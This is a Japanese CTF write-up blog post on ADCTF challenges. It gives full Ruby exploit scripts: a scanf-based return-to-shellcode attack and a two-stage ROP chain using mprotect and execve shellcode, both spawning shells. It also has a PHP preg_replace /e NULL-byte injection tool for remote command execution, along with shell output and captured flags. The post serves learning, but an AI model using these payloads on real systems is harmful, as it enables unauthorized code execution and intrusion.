b7e15000-b7fbd000 r-xp 00000000 fc:00 790472     /lib/i386-linux-gnu/libc-2.19.so
b7fbd000-b7fbf000 r-xp 001a8000 fc:00 790472     /lib/i386-linux-gnu/libc-2.19.so
b7fbf000-b7fc0000 rwxp 001aa000 fc:00 790472     /lib/i386-linux-gnu/libc-2.19.so
b7fc0000-b7fc3000 rwxp 00000000 00:00 0
b7fda000-b7fdd000 rwxp 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 fc:00 790476     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r-xp 0001f000 fc:00 790476     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rwxp 00020000 fc:00 790476     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

という感じになっており、0x0804a000~0x0804b000の部分がシェルコードの格納先として使えそう。

ということで、mainからのreturn時にスタックが

   stack top
+--------------+
|  0x080483b0  |←scanf
+--------------+
|  0x0804a050  |←scanfからのリターンアドレス(シェルコードのアドレス)
+--------------+
|  0x080485c7  |←scanfの第1引数("%s")
+--------------+
|  0x0804a050  |←scanfの第2引数(シェルコードを入れるところ)
+--------------+

という状態になるようにした。

# oh_my_scanf.rb
require_relative "pwnlib"

# 0x0bが入っているとscanfがそこで切ってしまうので、
# lea eax, [edx + 0xb] → xor eax, eaxの後にinc eaxを11回するようにシェルコードを修正
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x33\xc0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\xcd\x80"

PwnTube.open("pwnable.katsudon.org", 32100){|tube|
    tube.wait_time = 0.2

    puts "[*] connected"
    sleep(1)

    scanf_addr = 0x080483b0
    shellcode_address = 0x0804a050
    format_string = 0x080485c7
    return_address = shellcode_address
    
    payload = ""
    payload << "A" * 0x1c  # nameからリターンアドレスまでの距離は28バイト
    # scanf("%s", 0x0804a050)
    payload << [scanf_addr, return_address, format_string, shellcode_address].pack("L*")
    tube.send(payload + "\n")

    payload = ""
    payload << shellcode
    tube.send(payload + "\n")

    tube.interactive
}
$ ruby oh_my_scanf.rb
[*] connected
name: hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAA� P  P�
[*] interactive mode
id
uid=1000(oh_my_scanf) gid=1000(oh_my_scanf) groups=1000(oh_my_scanf)
ls -la
total 24
dr-xr-x--- 2 root oh_my_scanf 4096 Dec 16 23:11 .
drwxr-xr-x 3 root root        4096 Dec 16 23:11 ..
-rw-r--r-- 1 root oh_my_scanf  220 Sep 26 05:46 .bash_logout
-rw-r--r-- 1 root oh_my_scanf 3392 Sep 26 05:46 .bashrc
-rw-r--r-- 1 root oh_my_scanf  675 Sep 26 05:46 .profile
-r--r----- 1 root oh_my_scanf   27 Dec 16 23:11 flag
cat flag
ADCTF_Sc4NF_IS_PRe77Y_niCE
exit
[*] end interactive mode

FLAG:ADCTF_Sc4NF_IS_PRe77Y_niCE

strangekey(crypto:18pt)

(*´ω`*)

guesskey(reversing:19pt)

(*´ω`*)

easypwn(pwnable:20pt)

(*´ω`*)

追記(2015/03/20):
解けた(`・ω・´)

Dump of assembler code for function pwn_me:
   0x08048090 <+0>:     sub    esp,0x10
   0x08048093 <+3>:     mov    ecx,0x80480ed
   0x08048098 <+8>:     mov    eax,0x4
   0x0804809d <+13>:    push   0x8
   0x0804809f <+15>:    push   ecx
   0x080480a0 <+16>:    push   0x1
   0x080480a2 <+18>:    call   esi(syscall)                     ;write(1, "pwn me: ", 8)
   0x080480a4 <+20>:    add    esp,0xc
   0x080480a7 <+23>:    mov    ecx,esp                          ;ecx = esp
   0x080480a9 <+25>:    mov    eax,0x3
   0x080480ae <+30>:    push   0x80
   0x080480b3 <+35>:    push   ecx
   0x080480b4 <+36>:    push   0x0
   0x080480b6 <+38>:    call   esi(syscall)                     ;read(0, ecx, 0x80)
   0x080480b8 <+40>:    add    esp,0xc
   0x080480bb <+43>:    add    esp,0x10
   0x080480be <+46>:    ret
End of assembler dump.

Dump of assembler code for function syscall:
   0x08048080 <+0>:     mov    edx,DWORD PTR [esp+0xc]
   0x08048084 <+4>:     mov    ecx,DWORD PTR [esp+0x8]
   0x08048088 <+8>:     mov    ebx,DWORD PTR [esp+0x4]
   0x0804808c <+12>:    int    0x80
   0x0804808e <+14>:    ret
End of assembler dump.

pwn_me内のreadでバッファオーバフローが起こせる。(リターンアドレスまでの距離は16バイト)

readの戻り値(=文字数)はeaxに入るので、eaxを調整した上でリターンアドレスをsyscallのアドレスに書き換えることで
好きなシステムコールを実行することが出来る。

が、リターンアドレスを書き換えることが大前提なので、最低でも20バイト送らざるを得ない。
そこで、0x080480ea : add al, 0x5e ; retというガジェットを使った。
これにより、20バイト以上送っていても
(unsigned char)(0x47 + 0x5e + 0x5e) = 0x03
という具合に20番未満のシステムコールをROPで呼べるようになる。

ということで、

  1. mprotect(0x08048000, 0x1000, 7)でメモリの属性を変更し、pwn_meを再度呼ぶROP
  2. read(stdin, 0x08048200, shellcode.length)を実行するROP

の2回のROPを行ってシェルを取った。

#coding:ascii-8bit
require_relative "pwnlib"

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

PwnTube.open("pwnable.katsudon.org", 28099){|tube|
    tube.wait_time = 0.5

    sleep(1)

    syscall_address = 0x08048080
    pop4_address = 0x080480bb
    add_el_address = 0x080480ea
    pwn_me_address = 0x08048090
    shellcode_address = 0x08048200
    dummy_data = 0xdeadbeef
    stdin = 0

    payload = ""
    payload << "A" * 16
    payload << [syscall_address].pack("L")
    payload << [pop4_address].pack("L")
    payload << [0x08048000, 0x1000, 7].pack("L*")  # mprotect(0x08048000, 0x1000, rwx)
    payload << [dummy_data].pack("L")
    payload << [pwn_me_address].pack("L")
    payload << "A" * (0x7d - payload.length - 1)  # 改行文字の分を引く
    tube.send(payload + "\n")

    payload = ""
    payload << "A" * 16
    payload << [add_el_address].pack("L")
    payload << [add_el_address].pack("L")
    payload << [syscall_address].pack("L")
    payload << [pop4_address].pack("L")
    payload << [stdin, shellcode_address, shellcode.length].pack("L*")  # read(stdin, &shellcode, length)
    payload << [dummy_data].pack("L")
    payload << [shellcode_address].pack("L")
    payload << "A" * (0x47 - payload.length - 1)
    tube.send(payload + "\n")

    tube.send(shellcode)

    tube.interactive

}
$ ruby easypwn.rb
[*] connected
[*] interactive mode
pwn me: pwn me: id
uid=1000(easypwn) gid=1000(easypwn) groups=1000(easypwn)
ls -la
total 24
dr-xr-x--- 2 root easypwn 4096 Dec 19 18:31 .
drwxr-xr-x 3 root root    4096 Dec 19 18:31 ..
-rw-r--r-- 1 root easypwn  220 Sep 26 05:46 .bash_logout
-rw-r--r-- 1 root easypwn 3392 Sep 26 05:46 .bashrc
-rw-r--r-- 1 root easypwn  675 Sep 26 05:46 .profile
-r--r----- 1 root easypwn   34 Dec 19 18:31 flag
cat flag
ADCTF_175_345y_7o_cON7ROL_5Y5c4LL
exit
[*] end interactive mode

FLAG:ADCTF_175_345y_7o_cON7ROL_5Y5c4LL

otp(web:21pt)

(*´ω`*)

wtfregexp(reversing:22pt)

コード中の判定処理を改変したものを実行してみたところ、以下のようになった。

$RE = qr/1,2,3/;
print((unpack('B*', "ABC") . ',') x ((()= $RE =~ /(,)/g)+1));  # Perlでの"a" x 3はRubyでの"a" * 3に相当する
#=>010000010100001001000011,010000010100001001000011,010000010100001001000011,

どうも入力文字列を2進数で表した文字列が、すべての正規表現にマッチするようになればいい模様。

正規表現がすごいことになっているので、とりあえず[01][01][01][01]{3}という形に整形。

gets.chomp.gsub(/\[01\]+/){|s| "[01]{#{s.length / 4}}"}.split(",").each{|s| puts s}

エディタで頭と尻尾のスラッシュを削除した後、出てきた正規表現を観察した。
すると、どの正規表現も256bitの2進数を表すものであることに気付いた。

なので、フラグが32文字(=256bit)であると仮定して復号を試みたところ、フラグを取得することができた。

# 正規表現から必要な情報を抜き出す
def decode(s)
    double = /^\(\?:\[01\]\{(\d+)\}\(\?:([01])\[01\]\{(\d+)\}\|\[01\]\{(\d+)\}([01])\)\[01\]\{(\d+)\}\)$/
    left_only = /^\(\?:\[01\]\{(\d+)\}\(\?:([01])\[01\]\{(\d+)\}\|\[01\]\{(\d+)\}([01])\)\)$/
    right_only = /^\(\?:\(\?:([01])\[01\]\{(\d+)\}\|\[01\]\{(\d+)\}([01])\)\[01\]\{(\d+)\}\)$/

    case
    when s =~ double
        m = s.match(double)
        result = [m.captures[0], m.captures[1], m.captures[2], m.captures[4], m.captures[5]].map{|a| a.to_i}
    when s =~ left_only
        m = s.match(left_only)
        result = [m.captures[0], m.captures[1], m.captures[2], m.captures[4], 0].map{|a| a.to_i}
    when s =~ right_only
        m = s.match(right_only)
        result = [0, m.captures[0], m.captures[1], m.captures[3], m.captures[4]].map{|a| a.to_i}
    end
end

# 文字列を2進数へ
def str2bin(s)
    s.bytes.map{|a| ("0" * 8 + a.to_s(2))[-8..-1]}.join
end

# 2進数から文字列へ
def bin2str(s)
    s.scan(/.{8}/).map{|b| b.to_i(2).chr}.join
end

a = []
while s = gets
    a << decode(s.chomp)
end

is_changed = true
flag = str2bin("ADCTF_")  # flag starts with "ADCTF_"
flag += "0xxxxxxx" * ((256 - flag.length) / 8)  # ascii only
while is_changed
    is_changed = false

    # クリア済みの条件は消す
    a = a.delete_if{|b| (flag[b[0]] == b[1].to_s || flag[b[0] + b[2]] == b[3].to_s)}

    # (不成立|未確定)や(未確定|不成立)になっている条件を探し出し、該当ビットを確定させる
    a.each{|b|
        if flag[b[0]] == (b[1] == 0 ? 1 : 0).to_s && flag[b[0] + b[2]] == "x"
            flag[b[0] + b[2]] = b[3].to_s
            is_changed = true
        elsif flag[b[0]] == "x" && flag[b[0] + b[2]] == (b[3] == 0 ? 1 : 0).to_s
            flag[b[0]] = b[1].to_s
            is_changed = true
        end
    }
end

if flag =~ /x/
    puts flag
else
    puts bin2str(flag)
end

FLAG:ADCTF_l091C4L_r39Ul4r_3xpR3ss10N

shellcodeme(pwnable:23pt)

(*´ω`*)

regexp quiz(mixed:24pt)

# Stage1
/[a-zA-Z0-9 ,:]+/

# Stage2
/"(.+_.[^\d]\w+)/  # ファイル名についているハッシュの2文字目がたまたま数字でなかったので使えた(笑)

# Stage3
s/<[^>]+>|\s\s\D+//  # ……でできるかと思いきや、脆弱性を探せとのことorz

いろいろ調べたところ、こんな情報が見つかった。
それによると、

  • preg_replaceはバイナリセーフではないため、NULLバイト攻撃が可能
  • preg_replaceでeオプションを使うと、置換する文字列をPHPコードとして実行可能

とのこと。
実行したいコードをURLのクエリ文字列にセットし、preg_replace側はeval($_GET[a])と書くことで文字数制限を回避した。

require "net/http"
require "uri"

def request(code)
    uri = URI.parse("http://pwnable.katsudon.org:58080/stage3_9eaeec9bd606f259e92546a7fff593d6.php");

    Net::HTTP.start(uri.host, uri.port){|http|
        request = Net::HTTP::Post.new(uri.path+"?a=system('#{code.gsub(" ", "+")}');")
        request.form_data = {"pattern" => "[^z]+/e\0", "replacement" => "eval($_GET[a])"}
        puts http.request(request).body
    }
end

while puts || print(">> ") || s = gets
    s = s.chomp
    request(s)
end

これでサーバ内に侵入はできたものの、そこから先が見えずにお手上げ。


まとめ:

「一日一問」ということで自分のペースで挑戦でき、難易度もちょうどよく、
CTF Beginnerな私にはぴったりのCTFでした(*´ω`*)

開催してくださってありがとうございました♪